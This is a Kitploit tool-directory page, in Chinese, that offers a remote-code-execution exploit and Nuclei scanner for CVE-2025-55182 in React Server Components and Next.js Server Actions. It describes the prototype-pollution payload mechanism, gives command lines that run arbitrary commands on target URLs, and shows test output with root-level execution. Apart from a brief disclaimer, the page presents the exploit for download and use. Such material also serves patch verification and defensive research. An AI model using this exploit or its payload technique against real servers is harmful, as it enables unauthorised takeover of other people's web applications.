Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182 — CVE-2025-55182 - React Server Components RCE Exploit & Scanner Supports external servers and CLI interface | Kitploit
工具/GitHubGitHub/sickwell/cve-2025-55182
Vulnerability ScannersCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubsickwell/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 - React Server Components RCE Exploit & Scanner Supports external servers and CLI interface

查看仓库
1368个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182 - React 和 Next.js Server Actions 远程代码执行漏洞

针对 React/Next.js Server Actions 中 CVE-2025-55182 的全功能远程代码执行利用工具和扫描器。

原始 PoC: Spritualkb/CVE-2025-55182-exp

概述

CVE-2025-55182 是 React Server Components 中的一个严重原型污染漏洞,可导致远程代码执行。本仓库提供了自动化扫描(Nuclei 模板)和手动利用(Python 脚本)两种工具。

漏洞机制:

该利用工具利用了 React Flight 协议反序列化中的原型污染。它通过 "$1:__proto__:then" 污染 Object.prototype.then,并通过将 _formData.get 设置为 "$1:constructor:constructor" 获得 Function 构造函数的访问权限,然后通过 _prefix 注入恶意代码,由 Function() 执行。

工具

1. Nuclei 模板(cve-2025-55182.yaml)

自动化漏洞扫描器,执行 id 命令并通过 X-Action-Redirect 头部获取输出。

使用方法:

root@kitploit:~
nuclei -u http://target.com:3000 -t cve-2025-55182.yaml

特性:

  • 执行测试命令(id)以验证 RCE
  • 从响应头部提取命令输出
  • 多个检测指标(状态 303、重定向头部、错误模式)

2. Python RCE 利用工具(CVE-2025-55182.py)

全功能 RCE 利用脚本,可执行任意命令并获取输出。

使用方法:

root@kitploit:~
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"

特性:

  • 执行任意命令
  • 自动从 X-Action-Redirect 头部提取输出
  • 支持 HTTP/HTTPS 和 IP:PORT 格式
  • SSL 证书验证绕过选项
  • 清晰、格式化的输出

测试结果

Nuclei 模板

root@kitploit:~
$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml

[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.

Python RCE 利用工具

root@kitploit:~
$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"

============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================

[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...

============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------

============================================================
[*] Exploitation attempt completed
============================================================

受影响版本

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: 15.x, 16.x (App Router with Server Actions)

鸣谢

  • 原始 PoC: Spritualkb - CVE-2025-55182-exp

参考

  • React 安全公告
  • Next.js GitHub

免责声明

仅供教育和授权测试使用

下载工具